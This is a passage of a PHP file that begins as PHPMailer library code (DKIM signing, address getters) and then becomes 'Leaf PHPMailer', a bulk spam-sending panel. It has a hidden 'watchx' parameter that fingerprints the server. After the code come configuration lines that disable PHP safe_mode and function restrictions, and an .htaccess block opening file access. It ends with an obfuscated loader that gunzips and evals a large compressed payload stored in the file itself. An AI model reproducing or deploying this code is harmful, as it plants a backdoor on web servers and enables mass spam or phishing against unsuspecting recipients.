            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$TZPs='su'.'bstr';$bAyi='exi'.'t';$uyxt='gzuncom'.'press';$TyXH='file_g'.'et'.'_conte'.'nts';$kzts='s'.'tr'.'_'.'re'.'place';eval($uyxt($kzts('delhonibqy','>',$kzts('vihaojcpsy','<',$TZPs($TyXH( __FILE__ ),-171773)))));$bAyi(0);
?>
x$Ǯܖ_4poMP'z=u)@X_HϿ__[A`ɋl?{׶[7Bldelhonibqyr36O:ۿ?gH-Yjr;{޻ړa''ZӺ7c*Τƿ0?k˨ Q%tQ'"54n{
.$.92H]''9hvihaojcpsy6ĉU	Ą
2VfFqWF1]Eò8#5GX96qP#RV!|aڸdL;*}쬗DAiJo|m4Xr]9BdXo7~H	ڽUc"+܀vihaojcpsy
Xw5=rTvihaojcpsyp=~D,q6ocmToPJJR){W6:jG-ѽJ\"i&J0u`tjÎq|!;[k̪j0n.0LE^聣S#jXFQth
nD	m،$-F;f1Ul#2롤GhdelhonibqyQ.$=^%މN{%ʴߓpäx?Ă5/E1aw{6@3U3ǚ'!u?LzZJ'w -`擯 28-"",ddSןP4f7[4YhI(9lҧ]$%8Pr;rTLm%*{ʖEa~9ъV`#{΂9vnxĺJr+Mvihaojcpsy
C,÷оV=kvj֫G%+LX`,!7~2?-J
/H2
XnT[hȊπ5
_
O;uΦS,CY pu
_M"~:X%ڏ׊adelhonibqyP$PHIɴ5$8Mh+3ɆCaÈ&gZTm̓;K[g ݕMxY"c`7#C֯`bZ|9l=3P@]l Hخ_ 	}#0?t):ǀ@6txJHf#Qdelhonibqy9GyXy8s÷i.[]ݲzRXδ#~FߛdelhonibqyxE,FL}? lНꈜc*BEE2C_۸d짒C;xEe#ޜ~ҤBB%e@B;~6YW"#p=+i,+f4~"=-vihaojcpsy)NhĔ|'˷쁱7r
N[Wʑ쾺#j6}P,#dz4Woʡ$~vihaojcpsyiL+reayx(

UxO
.
R_GcYpה2(im%`iUEIDDܘ/Y`^81͘Ӗzz$due5\M_cO@1i6?YL{ж"AR!sZ/q4*+B-y돱BШW@,g
Sk* ?ۑqHaXҭ(l'delhonibqy^mdelhonibqy^tdEb^ 1uv)m]y\(q.y)kIg|:?kqn^
&|O;Rv A*,Y=a(u\xIbBe,-+6`ɤI`
pUvihaojcpsyBSoMoƸFjT߱݃4bsY(`@Q*ݬp6VOUs=3
geQ&R^ԊPm?ovihaojcpsy`K{Pԅ8-^9eA	ѧ-&ӌ[ql] o؛zR u;m5b	.rƻ(lx	{/P׸|
Z縅M0j\9qiguø~x!X",EwE&ܯ.f Kzwa&K14&0}Q-6gφ.hJсyϋb)XAAUru
&3|ITSgJ7Ǽq2hFzF7^sK,y 6
iᨭd_/K3T{_Q7,Gw\Ĕw! v5I-	j-Xkv-tkQ	taف㚐j'm=;g@LPiJsI@̐7$tZ%6^;|Ȣ(\=ǝ Hu5s(ݐ
'6dO[xC)_&v޹m;A2bz53ō+ԾְJ.fVWȯd0_b\˄5",%r: ڼ}F~ F2o3vihaojcpsyy(0z3iwPxl6+N*o+WSvhp*ad$)-"$6)ÁBƽfu!E5j delhonibqyvihaojcpsy!%o%Rz9HW_دs*i7V\5IS_k)[kߜ,dÓj~l?@/P1絜R
%C\㑆m_NK.Je&xPmJ
%D+N'R{_8F\?NnCS{ά&O[Ef|]&Д=Dw DbU4Cp%w8ѵ  et5LE~Δ.ЦKa躖^"V HIQ_x[VlPpYotO|{Gmu^])Ż2,OSOdelhonibqyBe\kJ'B)D9y[2iC90b┇[p7iiSl\`AJp4egbKue_5Inqc$Us.̔U4
hDCc*%]8֑@Ά71eps3~6GPfoݣ2|Dʿ~xdelhonibqypo_1vihaojcpsybHXP!lf؉HGX*%9me-ZEWB]1c= Foygju-[盓Ѭ;;nx@MBECRCa{ÝTrƯ=3ExX^}bXN1lkV2ﰴvihaojcpsyEvihaojcpsyIcsf|d,7_uE0r 2vihaojcpsy_a%K0	e~S"D
3v#0EDj?1ɵtSDH2g^ZڸKZxugdelhonibqykZΖj62{7DgZ[2˼婁.veV=X[ML'X2r^MpYivihaojcpsy܀\MGW;h ÖKd\ t":8P1inĺpnCθ zo
![~m? +ÕG j CLݼdelhonibqy~~{.,P)[Ḏ7%8P#&bspnM72vQ=js0X\T^$8Z"kNyUJvihaojcpsy8YP#!|X2h5o=Ҝ`$Ť:
vihaojcpsyR,E7تYgU H0Y֯z*9?q7delhonibqy"ȍdelhonibqy}l~kZԛBW''8delhonibqy64l
[BY$&#iÞuEe-e ܬCp"O%.4/zvMU)af4dAiл`s$k臜{Udelhonibqymx=i2X#w~52bWk}r|ip~O@kE+[TDE]7S
"T]=wGKb[C2cniW|c$L3C⛯MB{vihaojcpsyuB=@9`5hUCg4IX4pj_ċ/Ȣosce/[t
^vihaojcpsy
bXᆠ_Yoz(8	G@gUVb}ӻ,2=iΈ§ήSv·s	R=cn):bh؈ n wPHbUsKé͒Q}$delhonibqy/|WHegak}@ʱL)̠߯H~Eh\L}TAl6X
7U?llC_űۺǷt".A5E}:\vihaojcpsypAG|bySD]l+I9t{7vw
A]iQg)vS^@̂;%ʍHZv,k{R;7*Tv
Ej7a~q|AA퀌߀P{X{tq7Ӊ2Z=Z/F}uq|uglz}( E__XC/AEed	+` hb;D\+㈫*)c@I[OH"mid
0SY| |kɧPξd~0R
8311r^8fV?!Rxs0Ed;Sm#'-4	Rn+ЗZҧ
{jc1&.ŪvihaojcpsyVK7x1;YH7w:^k%6-5'l{jA
E:EvZ\cݹH7,GZ$@k+..Z}vEV.ϷחZ@vޮޯ.
2&Q`y|#NHĤM,܎*8ΩA]kT1+[\QiY6Qˁ	ϧGJPb8^Kѡ2u?\ºC-d\l8|ԕtgP~=L2"M
_f`Mn~*sE+n
%c_!X͑D"z	enǝfۉp_|U/ !57[?c(AnQx) O͠JwTXVm7-RXJFdMTq9|o)
:9 ޭ7!v
Jז&Q|ϸP8oLܩpE84J5 p	!ɦmb+O-rK
$9֓~]Щ]-[Q)ZZ]l)0CxQ+(M̈[)vihaojcpsy)keUć`×̱d7Q\{iE*[lsR1_,IB}*WY80=\ "ۧmɖ݅K vihaojcpsyTM&FӧKRNf8ucdelhonibqynz3(#\JoYdelhonibqy̯ѷIS\?mWKڕ/uOܗO1R	: {hZTڻ
B.m0xxxRʼ ^X2H2F}8طIAoPr}7RTܾvr\pK$+gc
z=%$W"Ƀxa;/8~

z"rCaJ31t3 MxSx`WT"qݔp5
[TN2hωI+5-"ˋ# 0G;	6Wvihaojcpsy4{qG=
!X d=`Ame(3&Ș7^	Camgl\(N"vڻ/	afFH.
zΦOuQ|-34hPIӮ kx,^VR4#OpLyVϣ
TE9~So9;zJ	U&vIEh"Ѫ@BmiQqӞ`&90NOA`R]=K=r"	䱰-&P\0Nl
\Dp]5ڽ])m#delhonibqye;fVbI@5ՏhC8ȏ6ԷpBDj8[RDSΡ3´[W [hnqv'*jWIy ܠXY$Utܯ%ܒ8GGG&+ppxڑ%db87[6N}Vb /SbХǐ$H	Ygam3{,
&W cds(d.}EXY^jQk$_+zJꆨ8delhonibqy'~x?vihaojcpsy4H4w?83TAMdelhonibqyȩOY6YjMsXonBG)6♼
DLǮK#A3vvihaojcpsy2peP6Uy\\RbpVW
exJO'2ּ
!*ܘ@On7HK[CzS)28vihaojcpsyQ=ge)?5s[츖;.^خ}4	p
3'=QϚ23x,z}oƛ
9-/0sU\Hvڹ |4\ Ct_ЮWZ}ȴ:Vm;~S!	@iаxɴ,
4rA-Sne
b6@z
pMxəźx! )z51B/83Kq6~7SdelhonibqyƼ!S"]dSa%BſJH&}dC?delhonibqyj諆0TF!LAq8p*j4=`(delhonibqyEGtog.U@dzy@Z!֙CՄzяp'tJ:z
{ĎjsH.j+]IȒF$[Y(;ڰXR_Ang9vihaojcpsy( *|؟gTߟaSbS2sC+
NPC\$7/@%IL%1Ώ	`!Y߽T1v+AX:uU'q笟+58Geï~c|3I	́0P9-}CEM!%{7JLk1&wo֗XqϢb?XfaMZ_b}Pdelhonibqy6vihaojcpsySڼqq6glS$XCG-b%ԟUՁg%tK;@F_5cP5'ngwg~7P'_#@5',h~PT7rYg1aM$`/)9(ZVqlJmgWl!~delhonibqylJ;U+!|8W٬B_m'σb!
kvihaojcpsy)ˣ8Zql%5delhonibqyhX4hW8delhonibqyD?R!Y"WO9iE({z_MFBrdelhonibqy$SQ_cI{ŕe:ܯC28TП1,VLZB?p:OSUn17u7剒JAHD ⠚\l7(P6Vd+&WȺX~~SϏ&?}Лۆ"mߒ*Fe} j@,{Yd#)_XtK ˺ΖF[i_ИXǸz+Di5Iَ_W/98q
1s O?Ie 	/MO]/f*єOOse+kPt`)B1VLNraiq+5ÉvbcN4tjyNhhP˕7tD*B}pf77:RrO-$뵀Eq!T0T@xi'bGtUH,&1ξKk'
Oms}xaCFMi~7] NLS'|@9F@_qE" Z2KH
\J~delhonibqyr	Jⱹ?2%	OHX:	ݕE?CRbhebHBWVH|tִ
u/PX"gY1J
ql9ϗ7Y9V}/v`RdelhonibqygR_on:4T+EƂkA
A:j6ɱ04$;I%ap)@ۦh0Gdȹ`

!E5ReI&$J/hMjE0K֓S-A
tvjFwc}q'،FH&DXZ/s=Cx_Ja
&No˴VKԎH
"]߉  Bg7q#Ҭh9[1UeڨVB}ȧF
5r@i̲T;Ce|	R$^o!aUīWye`ـiKēc4k(d4OPaM%
NeExN#P)߅m'z2vihaojcpsyeVA~a{ohZ_7vihaojcpsyN/_y/ŬEb!l[U|,?& 2ڬKa)$2`\yw:'o \-su5|~dm?K	= G5
ߨ:)nl34ԺKkZJev~?e-kO4Z`F5d|_,delhonibqy`v4GMBp]1h*MLnb?x(Mߜ	`SA[$9Xʀۀ
qr՛)yU*PpQ1gO-޸xף9ZY()SyxQlk_*	ⷥ@-KT	&rVݭUNsa_sSd#=Dp4X"o-/')H(ܦu6?aYfY1OC|"3^ 	&庩;j[eYLĶ)="{cD*ߚ/ W@p׶CRQwg9giޛeuvnfe[C2=' њ5!;'!\696Dŀ?C,6(,lK}YdelhonibqyB Ì.fdҫui7h,q!Bo
 z͆M)tpF8f(P 
*ě2|DTM?tΆl[Z2 Ses;7%\|Pz}*l\
ȣdelhonibqy~޿hV%VSY?K)NKSL3p'%g3#Tk2T6ڻ-U1A
bagnQLSb-kKW`1+otEoMsZ*OzWm65Ky_G8BdlHʉ'E@!C+:\x04B"NfD2*јPPZi1\/,h)d2`vihaojcpsy;XF~x/^II2)zr~
 &.zNlRJ	nO#iT81"R~unGg&[Fܒբ:x[z{4œ4C1]n~{U'dŏcl*Ik(݌ϲǟpu93l9{|ؠI4)̲/$w0Ce5
'4ŻJkcۻzuuymWLwc;0(jS'S˕c91q4.Bdelhonibqy^֯A*BDb?Z)\Q*a9"#E}FKa/d5AQb?Y A6rn
j_/*E0)I=	5Ռ3%$*G6o̯}8i;^2GA87fdelhonibqyH,V+[ty=W6͊?
i'h
 	,#Ity&!Hmiv htWgaG2tllR󙳟eÝՖ1RnDV ӂ/'څwZ"b0k4Db3R"JFNs-Z'[=.=7|ĳdtCsOՅ KN(
%{v`jծ*@qde
/m0Htgb#0~&\_֩${WZQOq`)ĥ)3IO
;_~{є:1ȧ1B9sBɜ 
ŧsnE}?رVF\a %{u;_1Ϋdr)tr¢?q#N6ƽT:Obkbľt(&=6z|aZ"+m"/꒝Bq{eќ0Rܺ`&79Nxw%NHMYڐ&bHg!f°L*Z_C&FـsD59amz
*}DDt Ѡ"MBYrO{vfiK];$Y!ҟ}pIOE_㓉pm4C !ۙvihaojcpsy'$@vihaojcpsy!y7vihaojcpsy|=cdelhonibqyUbFƖtE 0u
94TxP7&h!VXNW)delhonibqy%œ^*jƞ]3ޙ);j0Dp"1h,qOou,%4dtPݙ.]]ctbuWLFA+@)onLikId?I2;:hJT)6d°P%ͤdelhonibqy/턽890;3`|E WQ#0ۨ P|Y&D3\Jvihaojcpsy o: |0J:Zhv;oip8đ	eԋoMh ]OmBx]w?F/4C#\ih4a x;ӣa_#PǷAW0g*g@qTSE"H5\|tPC򅫎
{hwv;/delhonibqy-G!\;k:im	i|*^dus&y=|Ȣߗ%}}9xYgO#delhonibqy۶ci+΄.IuA=*OvihaojcpsyVGъ֋VD[hdp{btHa[
+ԟDS^
|w z5O/%[kKzE;p(C^gr"ym)Vᨮ}_n+'r4o(&`q'6ůmoɻ_q 1`Kܓ&BJ8;CRhgՁі),,{Y샸'[_:{wa{7_{&gm9ZJ?[1x+?L	$iSp$+Lw5ƂX0;G9V6fd[]Xy;^ffAbcҚӖSdAvihaojcpsycPُ0aiyiZkJU9vQ#vw:EJ߮+zmIodelhonibqyvihaojcpsyxP{ga޻q"i/':kE/mP17OScyk!̇o
S	l蝬hijNL|2~ uV8ev(X&A:Ns1n`k~M 
[Æn0Yg7(9,rGzP+;yGntJax0hRI3(3!ţJ1\~B|5A ߸ ަ"먽1+_k2qq@"K& ]so_*wJ\VHvN=g3
V&^ţ-Ut{U6cZMPwV:IB M%2i*9ht}BΘE4xhSjQZ7Q_P%lodelhonibqy249ʜ67⑘ǛGRH-鰃 #(A#O4.NBFeˀYb05Ka [IW %3\LfSځ,Lw77x!hbܡ(Dv;z	y G{[Tv)%QnQF.K!!}Zg%/M=W/JyvmMi)ĉW9qzFLdelhonibqy|
^% CA=auvihaojcpsydelhonibqy)%=B; JB
Y0ANhN,ꌯ1Pz5] /a`zvb~delhonibqyDhr\+LD甸o. jS
`KnԠ(delhonibqy ۦ`fLvD~.Zif&iE+Q
delhonibqyrgLcaWFfk^)} ͐ztG[s#rjsnZv)ץgeShcȱ$Vy̍ LВg/=[na  mqcNwYW:X8C놎qKv)ScDǗWdxRjdelhonibqyqɧD=o+{Vs{	6Y_Uտ
PKHW~UV
8=}4~_ޣ\`.:0^Ot׸/@z]KtroO`_ҝ@"1M@8.[.(h=76p`%)U~" vihaojcpsy:.4-JX`R~f.}jXlrt0[=_`;UA;uɪ?Wz4+őqC3$G3delhonibqyTX
Q#Qѽ|Xy7DQ`5cKtgdelhonibqys.5'delhonibqy?7C4L7+fjLwnVwIo?/K+\U¹HM'Ȁ}IT.L& ;\q9vihaojcpsy	h;81K\m, FZdelhonibqyl*&	m?81NGpֈ+)/&55[+01~X)wiV+3_,WZfI #ʛЕrQCE)\cčUxATS=miH4Ѐ|pGu	h!{.':`vihaojcpsyvg .&[Of@Ƥa)t?݉vt/PO|_{8D`vnM)9i;,Khw^0|&n7Z62cW7~"!VTeYF_䝓Cv7(ӗ\,]SA5]3qCޝ/m;i'Y$Btjmꬄb8delhonibqy?tR:b@{ A+1XyG"@uL	m%׶I?Pdelhonibqym3
wk v(}i;Xdelhonibqyt	^E~Q PzξmM;) Rc+YKE7?&p&(AG܋0IEoI(ZS5N2HX Vn S 
`YZ~delhonibqygS_a~+򓬹(G|-aDbף"P7=h ee}y gwKbP1h
pdl2|qƜakma"cW'UY@f[9delhonibqy؝vɓXS!h	H]vU&+rz#unfr^vZ+QYC҉5yz,ri;L&JMutJdelhonibqyɅ
db(eo~y`d"delhonibqy'lQR܁jBdelhonibqyrTgϊ
x
|%!fY{t[
(:(HDp[4|rյП%ڻՊuoM +CEGyS{Д_7xqTU(,||D)ힴ:8ED0.TOjUy
L0yöXjvk%G|4
yNY~Ե_	Ydelhonibqyu|:E%x߂ƑnK
x.8#veer95_GqGbfeaO:ࣲV?bw-Ҏ(Fp@JAraX1~ܲ_dAesq _zvihaojcpsy='/ֿ
&Mӄ{Mo)#vL~AnK֮C1
_?&'vVu1oꨃXȠvPO?
:[K9. #v3ZMo`م&oh;
]HW0
vihaojcpsyÜe^{ڢY3u;yld=qmD}7GjA}%ITî%?lə+9ugT+Ɨ-F,LR?
